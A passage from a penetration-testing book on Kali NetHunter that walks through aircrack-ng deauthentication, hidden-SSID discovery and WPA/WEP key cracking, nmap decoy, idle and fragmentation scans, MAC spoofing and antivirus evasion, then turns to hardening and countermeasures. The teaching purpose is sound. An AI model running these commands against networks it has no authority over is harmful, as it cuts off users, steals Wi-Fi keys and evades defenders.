Its signal rating by displaying a PWR value

Its encryption standard, cipher, and authentication method

The name of the network or ESSID

To get started, ensure your wireless network adapter is in monitoring mode. Before

enabling monitoring mode, we need to ensure there aren't any processes that may hamper

this process. Therefore,
we

use the following command to kill any such process:

airmon-ng check kill

Now we can configure our network adapter to monitoring mode using the following

command:

airmon-ng start wlan1

You device will begin capturing beacons and probes across the airways:
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Pressing the A key on your keyboard will allow you to cycle through

various filters. These filters include view access points only, view clients

only, view access point and clients only, and finally, view access points,

clients, and acknowledgement messages only.

Let's determine the manufacturer of a product that can help in researching known

vulnerabilities about a vendor-specific product. The airodump-ng tool will identify access

points of specific manufacturers,
we

can do this by using the airodump-ng <interface>

--manufacturer command:

Exercise ‒ discovering the WPS version of an

access point

In this exercise, we are going to use additional parameters with our airodump-ng tool on

Kali NetHunter. Using the --bssid syntax to specify the access point to target, and –c to

tell our wireless network adapter
to

listen on a particular channel, will help
us

monitor a

specific wireless network. We will use --wps
to

indicate the WPS mode and version of the

target access point:

airodump-ng --bssid <bssid value> -c <channel number> <monitoring

interface> --wps
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We will get the following output after running the preceding command:

Upon executing our command, we get the following results:

We can see this access point has WPS enabled and is using version 2.

Exercise ‒ de-authentication attacks

A de-authentication attack simply attempts to knock all associated/connected clients off an

access point. In this exercise, we are going to use the aireplay-ng tool to help us accomplish

our task:

1. Ensure your wireless NIC is in monitoring mode.

2. Use airodump-ng to obtain your target's BSSID.

3. Use the aireplay -0 0 –a <target's BSSID> <monitoring

interface> command to send a continuous steam of deauth frames to the target

access point. The result will knock all connected clients off the network:
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The aireplay-ng tool supports many attack modes. The following screenshot was taken

from the manual page of aireplay-ng:

Exercise ‒ de-authenticating a specific client

If you're targeting a specific client on a wireless network, we can use the following

command to send deauth frames to the access point but only knock off the specified client.

Use the airodump-ng --bssid <target's BSSID> -c <channel #> <monitor

interface> command to actively monitor the target network:
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As you can see, there are a few stations (client) that are associated with the access point.

Let's attempt a client disassociation:

aireplay-ng -0 0 -a <target's bssid> -c <client's mac addr> wlan1mon

-0 indicates we are executing a de-authentication attack.

0 specifics a continuous attack. If 2 is used, it means to send only 2 deauth

messages to the target.

-c allows you to specify a specific station (client device)
to

de-authenticate. If this

parameter is absent, the attack will de-authenticate all clients associated with the

access point.

We will get the following screenshot after running the preceding command:

Exercise ‒ detecting a de-authentication attack

Earlier in this book, we looked at using an amazing tool called tcpdump to capture network

traffic. Another great benefit of using this tool is to detect a de-authentication attack. As the

attack is happening on the airwaves,
we

will
be

able
to

see it and determine its target.

To do this, we can use the tcpdump -n -e -s0 -vvv -i wlan0 | grep DeAuth

command.

-n specifics not to resolve the IP address

-e indicates to print the MAC addresses of IEEE 802.11 and Ethernet traffic types

-v indicates the level of verbosity

-i specifies the interface

We will get the following output after running the preceding command:
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The BSSID shown in the preceding screenshot indicates the victim access point. If this is

your access point, this is an indication you're being targeted by a hacker.

Exercise ‒ discovering hidden SSIDs

Many organization tend to disable the broadcast of their SSID on the access point. Over a

decade ago, we considered this a security configuration for wireless networks. However,

with advanced penetration-testing tools and techniques, a pentester or a security auditor

can uncover any hidden SSIDs within a few minutes. As a penetration tester, it's your job to

uncover your target's wireless network if it's hidden from mobile devices. You need to

perform the following steps:

1. Enable the monitoring mode on your wireless network adapter.

2. Use the airodump-ng <monitoring interface> command to display all

nearby ESSIDs. Notice there is a network with an unusual format for its name,

<length: 6>. This indicates the access point has disabled the SSID from being

broadcast:

Monitor this specific access point to determine whether there are any associated3.

or connected clients. Use the following command:

airodump-ng --bssid 68:7F:74:01:28:E1 -c 6 wlan0mon

We will get the following output after running the preceding command:
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As
we

can see, there's currently one client connected.

Create a brief de-authentication attack to force the client
to

reconnect upon

4. disconnection. In the following screenshot,
we

will send a de-authentication

attack using only 20 frames
to

the target access point:

Midway during our de-authentication attack,
the

client was temporarily disconnected and

sent out probes to look for the dd-wrt network. Once the connection was re-established,

airodump-ng matched the information of the probe (sent by the station/client) with the

ESSID and BSSID information. As we can see, the SSID/ESSID has been revealed:
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Exercise ‒ cracking WEP and WPA

The first step in cracking WEP and WPA is to capture sufficient data from our target

wireless network. I would recommend you capture at least 15,000 data frames using

airodump-ng. We can use the following command to capture and store the data offline:

airodump-ng --bssid <target access point> -c <channel> wlan0mon ‒w <output

file>

Using the –w parameter will allow airodump-ng to write its data to the specified file. We

will capture enough frames until we acquire
the

WPA handshake:

As you can see,
we

were able to capture the WPA handshake. To increase the likelihood of

a client having to re-authenticate, you can attempt
to

use a de-authentication attack; this

will ensure the client provides the secret key during the authentication process.

Use the aircrack-ng <file name> command to verify the wireless access point ESSID,

BSSID, and whether a handshake was obtained:
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Our next step is to attempt to recover the pre-shared key (PSK) from the captured data. We

will use aircrack-ng with a password dictionary file. To quickly locate pre-built dictionary

files within Kali NetHunter or Kali Linux, use the locate following command:

locate password.lst

We will get the following output after running the preceding command:

Now it's time to recover the pre-shared key (PSK); let's use the following command:

aircrack-ng dd-wrt-01.cap –w /usr/share/metasploit

framework/data/wordlists/password.lst

Once you hit Enter on the keyboard, aircrack-ng will attempt a dictionary attack:

As you can see, the pre-shared key (PSK) was obtained successfully.
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Cracking WEP Encryption

Cracking the WEP passphrase is similiar to cracking WPA/WPA2. In this subsection, we

will demonstrate this method:

1. To perform packet capturing previously mentioned,
we

can again use the

following command:

airodump-ng --bssid <target access point> -c <channel> wlan0mon ‒w

<output file>

I would recommend you capture a minimum of 15,000 data frames and

ensure the handshake is acquired.

2. Once the handshake is obtained, ensure your .cap file has been saved offline. Use

the ls -l *cap command
to

view all .cap files within our directory:

We can see there are two capture files. For our exercise, we will be using

the ptw.cap file.

3. Let's attempt some WEP cracking techniques. To initiate aircrack-ng, use the

following command:

aircrack-ng ptw.cap

Once you hit Enter, aircrack-ng will attempt
to

recover the WEP key:

As you can see, we have found our key.
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Bluetooth hacking

Similar to wireless hacking on IEEE 802.11 networks, Bluetooth hacking also exists on the

IEEE 802.15 networks as well. As we know, a Bluetooth connection is established over a

short distance,
by

creating an ad hoc network:

The following is a short list of various types of Bluetooth attacks:

Bluejacking: This allows a malicious user to send unsolicited messages over a

Bluetooth connected to another Bluetooth-enabled device.

Bluesnarfing: This is when an attacker is able
to

access the information on

another Bluetooth-enabled device. Information may include the victim's email

messages, their address book details, or SMS messages.

Bluesniffing: The concept of war driving in search of Bluetooth-enabled devices.

Bluebugging: This is when an attacker is able
to

take control of a victim's

Bluetooth-enabled device. This allows the attacker to listen on telephone calls

and send messages from the victim's device.

Summary

In this chapter, we discussed various wireless topologies, as it is important for a penetration

tester
to

have an understanding of the landscape prior to and during the attacking phase.

We covered current wireless authentication modes and encryption standards, and looked at

their similarities and differences. Furthermore,
we

dived into discussing wireless threats

and explored a variety of penetration testing attacks. Finally,
we

covered various Bluetooth

attacks.

In the next chapter, we'll discuss avoiding detection. You'll learn about various way to be

stealthy during a penetration test.
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Avoiding Detection

Over the course of this book, we've discussed a lot of topics covering the phases of

penetration testing, from information gathering for exploitation to cover our tracks. To

execute a successful penetration test without the target’s security team being aware, you

must be stealthy like a hacker.

Apart from detecting and exploiting vulnerabilities during a penetration test, organizations

also use this type of service to test their existing security controls and detection rate.

As mentioned in Chapter 2, Understanding the Phases
of

the Pentesting Process, the blue team

is responsible for the monitoring, detection, and mitigation of any security threats within a

parent organization. If the blue team should fail to detect the activities of a penetration

tester, this would mean two things: the penetration tester was extremely stealthy and the

organization's security controls need some tweaking.

In this chapter, we will cover the following topics:

Stealth scanning

Using decoys

Fragmentation

Idle scanning

Encryption

Let’s dive in!
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Scanning

The second phase of hacking is the scanning phase. As discussed in Chapter

2, Understanding the Phases of the Pentesting Process, the scanning phase helps a penetration

tester
to

obtain a lot of details about the target system and/or the network. Some of the

information that may be acquired includes operating systems and build number, open and

closed service ports, running applications and their service versions, and whether a

particular vulnerability exists on a system or group of devices.

However, the process of scanning would involve our machine directly interacting with the

target system or network. As an aspiring penetration tester, it's a good practice to be very

stealthy and avoid being detected by the target’s security system as much as possible.

During a penetration test on a client’s network infrastructure, the client organization may

have a blue team that is actively monitoring
the

security landscape. If you’re executing

covert testing and you get detected during the early or later phases of penetration testing, it

defeats of the purpose of simulating a real-world attack, as a black hat hacker would

attempt to exfiltrate data and compromise systems.

Within the phase of scanning, there are many techniques used by a penetration tester to

avoid being detected. Here are a few of these techniques:

Stealth scan

Using decoys

Idle scan

Spoofing

Fragmentation

Stealth scanning

If a penetration tester attempts to scan a target, there is a high chance that a TCP three-way

handshake will
be

established prior to the actual scanning of the target. A TCP three-way

handshake is established initially for all TCP-based communication on the network; once

established, the regular flow of data happens.
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The following is a diagram demonstrating the TCP three-way handshake between two

devices. To further explain the TCP three-way handshake, let's imagine there are two

device on a network, A and B. Let's say device A would like
to

communicate with device B;

device A would send a TCP SYN packet to device B as a method of initiating a

conversation. When device B receives a TCP SYN packet, it will respond with a SYN/ACK

packet
to

device A. When device A having receive a SYN/ACK packet, it will then confirm

by responding with an ACK packet. At this point, a TCP connection has been established

by these two devices:

During a TCP connection, for every packet received from either device, A or B, the receiver

must confirm receipt by sending a TCPACK packet back
to

the sender as an indication of a

successful delivery. If
we

are to establish a TCP session with a target device while

performing a port scan, it would
be

obvious that we (the attacker) are attempting

something intrusive in native. In other words, it's considered to be noisy.

To help us during the scanning phase in a penetration test, we have the

Nmap (Network Mapper) tool. NMap is renowned as the king of network

scanners as it’s not only one of those simple ping sweep scanners, but also

can contain a lot of features that are very useful for both network and

security professionals. One such feature is its ability to execute a stealth

scan on a target system or network.

How does stealth scanning work?:
As

mentioned in Chapter 4, Scanning and Enumeration Tools,

the attacker machine would partially attempt
to

create a full TCP three-way handshake

with the victim machine by sending a SYN packet; the victim would respond with a

SYN/ACK packet, however, the attacker would not complete the handshake and send

an RST packet instead.
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The victim, upon receiving an RST packet, will close the connection thinking the attacker

machine no longer wants to communicate, but the attacker is actually provoking the victim

into responding and providing a list of open ports. An open port is like a wide-open door

in a house; by leaving a door open, a burglar can simply enter. This means that if a port is

left open, the attacker can use this open port as their way into the system. The following

diagram demonstrates how a stealth scan works:

Using Nmap,
we

can perform a stealth scan
by

typing the nmap –sS <victim IP

address> command:

The –sS parameter indicates
we

are performing a stealth scan. A stealth scan is sometimes

referred to as a TCP SYN scan or a full open scan.

Decoys

As we have noticed, whenever a penetration tester performs a scan on a target device or

network, the attacker’s IP address and MAC address would be recorded on the victim’s

machine. This would make it quite easy
to

identify the attacker’s machine on the network.

One of the techniques to camouflage yourself when scanning is using decoys, to throw off

the victim when they are trying to identify the actual attacker machine.
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Nmap, the king of network scanners, comes in to help us again. Nmap has the ability
to

insert multiple source IP addresses into the probes it sends to the target device. To

elaborate further, let's imagine you are sending a bogus letter to someone, however, within

the sender's address, you insert your address and a few others on the envelope. When the

mail is delivered, the receiver won't be too sure of the actual sender as there are multiple

source addresses. This makes it harder to actually determine
to

correct source of the probes.

To use the decoy feature on Nmap,
we

can use the nmap –D <decoy1, decoy2,

decoy3…> <target IP address> command.

-D allows you to specify a number of source addresses as the decoys:

Let’s use Wireshark to see the actual transactions that occur between the attacker machine

and the victim. The attacker machine is 10.10.10.11 and the victim machine is 10.10.10.100

on the network. We used a filter to see only traffic destined to our target on Wireshark:

As we can see in the screenshot, there are multiple probes via the decoy addresses and the

real IP addresses are sent
to

the target.
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Idle scans

An older but still usable method of scanning is using the idle scan technique. Within an idle

scan, the attacker machines (device A) send a SYN/ACK packet to a zombie machine

(device B)
to

obtain its fragmentation identification number.

IPID is sometimes referred to as IP fragmentation ID. Within the TCP/IP

stack, before a device sends a datagram (message) onto a network, it is

broken up into smaller pieces and then each is sent on its way to the

destination. An IPID is assigned to each of these smaller pieces of the

message (bits)
to

indicate they
are

of the same datagram or message.

Since the attacker machine did not initiate the connection using a SYN packet but rather a

SYN/ACK packet, the zombie machine knows it has not received a formal initialization

from a SYN packet and therefore sends an RST packet that contains the IPID of the zombie

machine (device B):
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The IPID increases each time a device sends an IP packet.

At this point, the attacker machine got the IPID (1234) from the zombie machine on the

network. Next, the attacker will send a SYN packet (checking for an open port)
to

the actual

victim machine using the spoofed IP address
of

the zombie machine. The victim will

respond with a SYN/ACK to the zombie. The zombie, knowing it had not previously

received a SYN packet from the victim, will then respond with an RST packet to the IPID:

If the port on the victim is closed, the target will respond with an RST to the zombie

instead of the SYN/ACK packet:
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Finally, the attacker would probe the zombie once more to obtain the zombie’s IPID. The

attacker will send a SYN/ACK packet. If the zombie responds with an IPID of 1236, the port

on the victim is opened:

During the last phase, if the IPID of the zombie does not increment by 2 (1,234 + 2 = 1,236),

the port on the victim’s machine is closed. As packets are sent between the attacker, the

zombie, and the victim's machine, the fragmentation ID will increase on the zombie and

target as they are communicating. We can execute an Idle scan using Nmap, the syntax of

the command is nmap –Pn –sI <zombie IP addr> <target IP addr>.

The zombie machine is ideal within this type of scanning method, as the target would think

the probing is being done by the zombie machine and not the actual attacker machine.

You will get the following screenshot by running the preceding command:

You can always view the manual page of Nmap using the man

nmap command or simply typing nmap in the Terminal window and

pressing Enter.
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MAC spoofing

As we have learned, spoofing is simply tricking the target into believing traffic or a request

is originating from another device or a trusted source. Both IP andMAC addresses can be

spoofed quite easily since the TCP/IP protocol suite was not designed for modern-day

security threats.

To prevent MAC address spoofing within a network, network security

professionals can implement Dynamic ARP Inspection (DAI) on Cisco

IOS Switches.

To generate and assign a random MAC address to an interface, we must do the following:

1. Logically turn down the interface using the ifconfig wlan0 down command:

Verify the current and permanent MAC addresses on the specified interface

2. using the macchanger –-show wlan0 command:

Use the macchanger --random wlan0 command to generate and assign the

3. MAC to our wlan0 interface:

Re-enable the interface using the ifconfig wlan0 up command:4.
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Additionally, you can use the macchanger –-help command to view all

the options available.

You will obtain the following screenshot by running macchanger –-help command:

As you can see, the possibilities in terms of generating a randomMAC address to cloak

your identity is very easy.

Fragmentation

Another method hackers and penetration testers use to avoid detection is fragmentation.

Fragmentation breaks up a message (packet) into tiny pieces. Fragments are put into a

network since, these tiny pieces of the messages usually are able to bypass almost any

network for security appliance and monitoring tools that are proactively observing network

traffic and activities for security threats.

In a fragmentation attack, the attacker can modify the Time to Live (TTL) or the timeout

values between each bit sent through the firewall or intrusion-prevention system (IPS).

This would cause the security appliance to not easily detect a threat and confuse the device

during a reassembly process.
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The attack can send fragments of a payload
to

the victim machine and have it reassemble to

a payload without being detected at all.

Nmap allows us
to

perform port scanning with packet fragmentation on a target device. We

can use the nmap –f <target IP address> command:

Using Wireshark,
we

can see how each probe
is
broken up into smaller pieces as they are

sent
to

the target:

This technique reduces chances of detection when a network has an IDS, IPS, or anti-virus

software.
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Metasploit Payload Generator

In this book,
we

have covered various topics and tools. Once particular tool within the Kali

NetHunter platform is Metasploit Payload Generator. The name of this tools pretty much

describes its function: to generate payloads using the Metasploit framework. Upon opening

the app in Kali NetHunter, we are presented with the following:

As you can see,
we

can select the type of payload we would like to generate, the IP address

and port number, and additional payload options. If
we

click on the drop-down menu for

Type,
we

will be presented with the following options:

[214 ]



Avoiding Detection Chapter 9

There are many different types to choose from. An example of leveraging the benefits of

this feature would be to select the Windows (.exe) type if you’re creating a payload for a

Microsoft Windows system. This would convince the target/victim device – in this case a

Windows operating system – that the .exe file can be trusted as it seems to be a native

executable file.

Depending on the target operating system and objectives of a penetration test, penetration

testers are provided with multiple options, are seen in the preceding screenshot.
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Encrypting traffic

Most organizations would deploy an IPS to proactively monitor inbound and outbound

traffic, paying particular attention to any malicious traffic in native or other types of

security threats.

One technique to evade IPS and anti malware systems is
by

using encryption. Most

firewalls are unable to detect malware within
an

encrypted packet by default. However, the

Next-Generations firewall, has a feature called Deep-packet Inspection (DPI), which usually

unpackages the contents of each packet, and scans and analyzes it. If
no

threats are

detected, it repackages and sends off the packet to its destination. If a threat is detected, the

firewall will quarantine it and send an alert on its management console interface and any

other logging system.

Additionally, most IPSes do not have the capabilities to decrypt a message to view its

contents. This would allow an attacker to encrypt the malicious payload and pass it

through the IPS appliance without being detected. The following diagram shows the typical

setup of a company's network; if DPI is disabled on the firewall, it will allow the encrypted

file (malicious payload) to pass through:

A penetration tester can use the VirusTotal website (www.virustotal.com)
to

test their

encrypted payloads for the level of detection
by

various anti-malware engines. The goal as

the penetration tester is to ensure your payload is undetectable by all or most anti-malware

programs. By modifying the encoding on payload, we can also reduce detection levels.
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Summary

In this chapter, we discussed some techniques that a penetration tester can use to avoid

detection, such as spoofing MAC addresses and scanning targets while not revealing our

true identity. However, a penetration tester should not limit themself to only using the

techniques and methods mentioned in this chapter. The great thing about being a

cybersecurity professional in the field of penetration testing is the limitless number of ways

an attacker can attempt to be stealthy.

In the next chapter, we will cover hardening techniques and countermeasures. There, you

will learn how to secure the Windows, Linux, and Mobile operating systems.
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Hardening Techniques and

Countermeasures

Getting into the field of penetration testing and offensive security is always quite exciting;

it's fun to learn the art of exploitation on systems and networks. At times, your career path

may shift a bit from hacking into a client's network to assisting an organization in securing

its network infrastructure from hackers and other potential threats. Over the past few years,

so many cyberattacks have been reported every day. Let's not forget about the

organizations that have not reported a cyberattack within their local network as they are

trying to protect their organizational reputation, and lastly, those who have not yet

detected an intrusion on their network.

Quite often, organizations create jobs to hire new people as cybersecurity professionals but

the titles and job descriptions are not purely in line with penetration testing, but rather as a

security administrator or security engineer. These roles usually consist of the function of a

purple team, as mentioned in Chapter 2, Understanding the Phases of the Pentesting Process.

The purple team's is as a combination of the
red

and blue teams, where they act on both the

offensive and defensive sides in cybersecurity to detect, mitigate, and implement

countermeasures for cyberattacks in an organization.

In this chapter, we are going to learn about various hardening techniques to improve the

security posture of a system. Furthermore, we will take a look at countermeasures that can

be implemented in an organization on their infrastructure to prevent and mitigate

cyberattacks.

As we are about to conclude this book, it's equally important for a penetration tester to

understand different hardening and mitigation techniques on various platforms to prevent

security threats and reduce risk.
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In this chapter, we will cover the following topics:

Common security threats

Securing network appliances

Securing client operating systems

Securing server operating systems

Securing mobile device platforms

Let's begin!

Security threats and countermeasures

In this section,
we

are going to take a look at various security threats and how
to

implement

countermeasures.

Viruses

A virus is a malicious piece of code that is designed to cause harm to a system, such as a

computer. Viruses are not executed on their own usually but require the action of a person;

this action can
be

done by simply clicking or running a virus-infected file, which will

trigger the malicious code execution.

A notable type of virus is known as the worm. A worm is a self-replicating virus that can

propagate throughout a network without any assistance from humans.

Imagine creating a program that can self-replicate without user interaction and overwhelm

system resources so much that a worm-infected system becomes almost, if not completely,

unusable. Once a worm virus has been created and its self-replicating process is triggered,

disinfecting a network is quite difficult.
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To prevent malware infections from viruses and worms, it is recommended having

endpoint protection, such as antivirus or anti-malware protection enabled on all host

devices, such as desktops and servers system. However, it is quite important
to

ensure each

antivirus client is always up
to

date with the latest virus definitions to protect the

host optimally.

The following are some antivirus vendors:

ZoneAlarm

Kaspersky Lab

Bitdefender

Avast

Symantec

The following is a screenshot of the ZONEALARM Extreme Security user interface:
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You may
be

wondering whether it is mandatory to purchase commercial antivirus software

to
be

protected.
On

the Microsoft Windows platform, there's a built-in/preloaded anti

malware protection that is created by Microsoft known as Windows Defender and it is

free. Windows Defender provides real-time protection against various types of threats. The

following screenshot shows PC status:

In recent years, crypto-malware surfaced in the digital world and caused significant

damage to a lot of systems globally as almost
no

one was prepared
to

prevent or mitigate

this new type of threat; this type of malware is known as ransomware. Ransomware's

objectives are quite simple: Once a victim system is infected, the malware encrypts the

entire system making it unstable and holds the data on the disk drives as hostage until a

ransom is paid. However, the encryption key that is used to encrypt the disk drives of a

victim's system is frequently changed
to

prevent the victim from decrypting the drives and

removing the ransomware. The following is a screenshot of a variant of the WannaCry

ransomware on a victim's system:
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When infected with ransomware, the only window presented on the victim's system is the

payment screen. One of the most valuable assets within an organization is data. Hackers

saw the value in data and therefore created crypto-malware to hold this particular asset

hostage. However, it is not recommended
to
pay the ransom at all,

we
know the data is

very valuable and may contain important financial records and sensitive information. Once

a victim provides their credit card information, there is absolutely
no

guarantee the attacker

will provide the decryption key; instead, they may steal the funds from the victim's credit

card.

Many threat intelligence and prevention companies, such as Check Point Software

Technologies (https://www.checkpoint.com/), Kaspersky Lab (https://www.kaspersky.

co.in/) and Bitdefender (https://www.bitdefender.com/), have developed anti

ransomware protection to help prevent and decrypt an infected system.
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The following is a screenshot of the ZoneAlarm Anti-Ransomware client:

Once anti-ransomware protection is installed
on

a system, it automatically updates once an

internet connection is detected. Should a ransomware attempt
to

install itself on the local

system, the anti-ransomware protection will disinfect the system and decrypt any files

affected by the ransomware.

Countermeasures for protecting against ransomware include the following:

Install anti-ransomware protection
on

client systems.

Back up data regularly.

Install the latest updates on your operating systems.

Keep antivirus applications
up

to date.
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Other common viruses

Here are some other common viruses:

Trojans: A Trojan horse virus disguises itself to look like a legitimate software or

application but has a malicious payload within its core. The idea is
to

trick a

victim into running the application on their system; once the Trojan is executed,

the malicious payload unloads itself in the background without the user's

knowledge. Some Trojans are used
to

create backdoors for hackers to gain

unauthorized entry into victim's system, these are known as Remote Access

Trojans (RATs).

Spyware: Spyware is a type of virus that installs itself on a victim's system,

gathers information about the user, such as their activities, and sends the

information back to its creator. An example of spyware is a keylogger that

remains hidden on a victim's system and gathers a user's keystrokes.

Rootkits: The Rootkit virus's main objective is to become part of a kernel of a

computer. Rootkits are usually invisible to the operating system and antivirus

application. Its purpose is to obtain root-level privileges on the victim computer,

this will give the malware full access rights on the system, allowing it to do

anything.

Malware is usually distributed via the following mediums:

Email

Network file sharing

Internet or drive-by downloads

Social engineering

Here are some countermeasures and mitigation for malware:

Install anti-malware protection on all systems.

Ensure anti-malware applications are always up to date.

Periodically run virus scans on all systems.

Install the latest updates on your operating system.

Enable spam filtering on your email server.

Do not click on any suspicious email messages or web URLs.
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Client system security

In this section,
we

are going to focus on securing operating systems. In an organization, the

IT department usually has a baseline for each unique system. A security baseline dictates

how an operating system should be installed
and

configured to ensure security

requirements are met.

A security baseline for an operating system usually consists of the following:

Disable any unnecessary services on the operating system.

Install system updates and patches regularly.

Enforce a password complexity policy.

Disable or remove any unnecessary user accounts.

Ensure endpoint protection, such as an antivirus, is installed and updated.

Enable system logging for accountability.

The Windows baseline

Creating a baseline for Microsoft Windows is actually pretty simple. The following

objectives can be used as a checklist for establishing a baseline:

The operating system installation should be done on a single partition on the disk

drive using the NTFS filesystem.

Install the latest patches and enable Windows Automatic Updates to ensure all

vulnerabilities are patched accordingly.

Enable and Configure Windows Firewall.

Install and update the antivirus protection.

Disable any unnecessary services.

A baseline is a point from which future references can
be

made as a

measurement to determine whether a process or system is operating

within normal capacity.

The Microsoft Baseline Security Analyzer (MBSA) allows systems administrators and

security professionals
to

scan either a local system or a network of Windows-based systems

for any security misconfigurations.
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The MBSA can be found at https://www.microsoft.com/en-us/

download/details.aspx?id=19892.

Take the following steps to create a baseline:

1. Once Microsoft Baseline is installed, open the application. You'll be presented

with the following window:

2. Click on Scan a computer. You'll have the option to either use a hostname or the

IP address of a computer as the target to scan. In this exercise, we'll use the

default hostname in the Computer name field.
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3. Click on Start Scan, as shown in the following screenshot:

4. The results will automatically be populated in a new window, as shown in the

following screenshot:
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The results will indicate various security issues and misconfigurations that will require the

attention of the system administrator. Each issue that's detected is given a severity rating to

identify the most critical security issue on the system easily.
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The Windows registry

The Windows registries store all the system's configurations and records – all the actions

from the time a system has booted until it is turned off. The registry, better known as hives,

maintains its records with the use of registry keys. A hive is a logical group of keys,

subkeys, and values in the registry that has a set of supporting files containing backups of

its data. The registry is a hierarchical database that contains data critical to the operation of

Windows and the applications and services that run on Windows. There's a unique key for

each action, configuration, task, and so on. Monitoring any abnormal changes or activities

can help
to

detect a security compromise. One tool to monitor and audit the Windows

registry is Process Monitor:

Process Monitor is part of the Sysinternals suite of utilities from

Microsoft. To download Process Monitor, visit https://docs.microsoft.com/en-us/sysinternals/downloads/procmon.
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User accounts

Each user on a system should have their own user account, but sometimes a user is no

longer with an organization or has moved
to

another department or location and their user

account remains enabled on a particular system. Disabling unnecessary user accounts on a

system is good security practice.

To disable user accounts on Windows, open the Control Panel | User Accounts | Manage

Accounts.

Disable or remove the guest account on Microsoft Windows. This

prevents a user from accessing your computer using the guest user

account.

Patch management

The patch management process consists of the following objectives:

Use tools to detect updates and patches automatically.

Conduct an assessment of the vulnerabilities found to determine their severity

level and the patches required
to

remediate the issue.

Acquire the patches required to resolve the security issues.

Test the patches on a nonproduction machine to determine whether the security

issues are resolved.

Deploy the tested patches
to

systems within the organization.

Maintain all systems.
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Microsoft Windows provides an option to download and install updates, patches, and

service packs automatically. To adjust the options of Windows Update, navigate
to

Control

Panel | Windows Update | Change settings:
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Windows Firewall

The Microsoft Windows operating system has a built-in firewall that prevents malicious

traffic from entering and leaving the local system. To ensure Windows Firewall is enabled,

navigate
to

Control Panel | Windows Firewall, as shown in the following screenshot:
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To adjust the configuration, such as create, modify, or delete rules on the firewall, click on

Advanced settings, as shown in the following screenshot:

Disabling services

Having unused services active on an operating system can be a potential security risk as an

attacker can attempt to compromise a system
by

leveraging a vulnerability in a running

service. It is important to disable any unnecessary services on an operating system.
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The following is a noncomprehensive list of services that should
be

disabled if not being

used:

File Transfer Protocol (FTP)

Telnet

Universal Plug and Play (UPnP)

SQL Server

Internet Information Services (IIS)

To disable a service on Microsoft Windows, open Control Panel | Administrative Tools |

Services:
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You'll be able to start, stop, and restart any of the available services. To make a

modification, simply double-click on a service:

The Linux baseline

As we learned in the previous section, a security baseline typically involves creating images

that allow for the secure, easy deployment of machines. The following is a guide to creating

a security baseline for Linux operating systems:

Ensure the Linux operating system
is
always

up
to date with the latest security

patches. This action can be done using the yum update or apt-get update &&

apt-get upgrade commands.

Ensure a strong password policy is enforced.

[235 ]



Hardening Techniques and Countermeasures Chapter 10

Disable any unused services.

Enable disk encryption.

Enable logging and auditing.

Configure firewall policies.

Disable USB devices.

Secure web services.

Create backup and retention policies.

Avoid using unsecured services, such as HTTP, Telnet, and FTP.

Both the Linux and Windows security policies are used interchangeably

on both operating systems.

Security scanner for Linux

Buck-security (http://www.buck-security.net/buck-security.html) is a security scanner

designed for Ubuntu- and Debian-based Linux operating systems.

To install buck-security, you'll need to download the files from its official GitHub

repository. Use the git clone https://github.com/davewood/buck

security command to execute this function,
as

shown in the following screenshot:
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Next, change directory into the buck-security folder using the cd buck

security command. Once you're in the buck-security directory, you can execute the

tool to perform a security audit on your local system. To execute the utility, use the

./buck-security command as shown in the following screenshot:

Lynis is another security auditing and compliance tool designed for both Linux and macOS

operating systems. It has the capabilities of performing both security audits and a

nonprivilege scan on both local or remote systems. According to the developers, Lynis is

typically used for security auditing, compliance testing, penetration testing, vulnerabilities

assessments, and system hardening.

Further information on Lynis
can

be found on their official

website: https://cisofy.com/lynis.
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To get started with Lynis, you'll need to download the project files from the official GitHub

repository using git clone https://github.com/CISOfy/lynis.

Next, change directory into the lynis folder using cd lynis.

To perform a local security scan,
we

can simply use the ./lynis audit system or lynis

audit system command.

To perform a remote security scan, use the lynis system remote <ip address of

remote host> command.

To perform a non-privilege scan, which is useful for penetration testing, use the lynis --

pentest command:
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Disabling services in Linux

To determine the running services on a Linux-based system, the ps ax command will

display a list of services that are currently running with their PID, as shown in the

following screenshot:

As we can see, the PIDs are listed for their corresponding service. You may
be

tasked to

stop or kill a service; to terminate it immediately on the local system, use the kill -9

<PID> command.

Let's say you would like to see any running service/process that has the firefox string –

use the ps –A |grep firefox command:
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The output shows the firefox-esr service is currently running on the local system, which

uses the 2340 PID. We can use the PID and the kill command to terminate this service, as

shown in the following screenshot:

Another utility that can assist in determining the running services in Linux is the netstat

command. Using the netstat –lp command will display the network protocols that are

currently in a listening state and the corresponding program:

Using the update-rc.d –f <server-name> remove | stop command will disable an

unwanted service in Linux.

Hardening networking devices

To minimize the attack surface of a router, use the following checklist:

Change all default passwords.

Create strong passwords.

Disable the HTTP server and its configurations.

Disable ping response, such as ICMP Echo Replies.

Apply access control lists (ACLs) for traffic filtering.

Disable unsecured services, such as Telnet.

Update the firmware and operating system to the latest stable version.

Disable unnecessary services.
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The following checklist can be used as a foundation for hardening a switch:

Apply port security.

Enforce password policies for a strong password and complexity.

Use SSH rather than Telnet.

Disable Dynamic Trunking Protocol (DTP). DTP enables links to become trunks

automatically.

Do not use VLAN 1.

Enable spanning-tree root guard and BPDU guard.

Enable DHCP snooping.

Hardening mobile devices

Sometimes, when discussing the topic of smartphones, we hear an Android user mention

that they have rooted their device. What is rooting? Within the Android ecosystem, rooting is

refers to the root-level access on the mobile device. Like Linux, the root user account is

considered to be a user with super/full privileges on the system; since Android is Linux

based, gaining full administration privileges is called rooting.

Having a device with full access rights is awesome, which means you can install and

modify the applications and system resources to fit your needs. However, rooting comes

with many security risks for Android users. First, the device's warranty becomes null or

void if it's rooted and it has a higher possibility of being infected with malware. During the

process of rooting, a device may cause it
to
become unusable, or what Android users refer

to as brick (unusable). While a user is able to install and make system modifications on a

rooted device, this prevents the Android device from receiving and/or installing over-the

air (OTA) updates from the manufacturer.

System updates are very important for any device, whether it's a desktop, server, router,

switch, firewall, or a mobile device, such as a smart device. System updates are created and

rolled out for the purpose of fixing bugs and security issues. Therefore, a rooted device is

more susceptible to being compromised.

Similar to rooting an Android device to gain full/super-user privileges, the corresponding

term is jailbreaking for Apple devices. Jailbreaking provides the mobile user with root-level

privileges and allows you to download apps from sources outside of Apple's App Store.
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The following is a guide
to

developing a security checklist/baseline for both Android and

iOS devices:

Ensure the operating system is kept
up

to date.

Do not root the Android device.

Only download and install mobile apps from official App store, such as the

Google Play Store and Apple's App Store.

Download and install an antivirus application from a trusted security vendor.

Ensure lock screens are enabled.

Ensure the password lock is enabled on your iPhone/iPad or Android device.

Ensure you change default passwords.

Disable add-ons and JavaScript in the web browser.

Summary

In this chapter, we looked at common security threats and possible countermeasures and

mitigation techniques. We discussed the need for a security baseline for systems within an

organization, and looked at a few tools
to

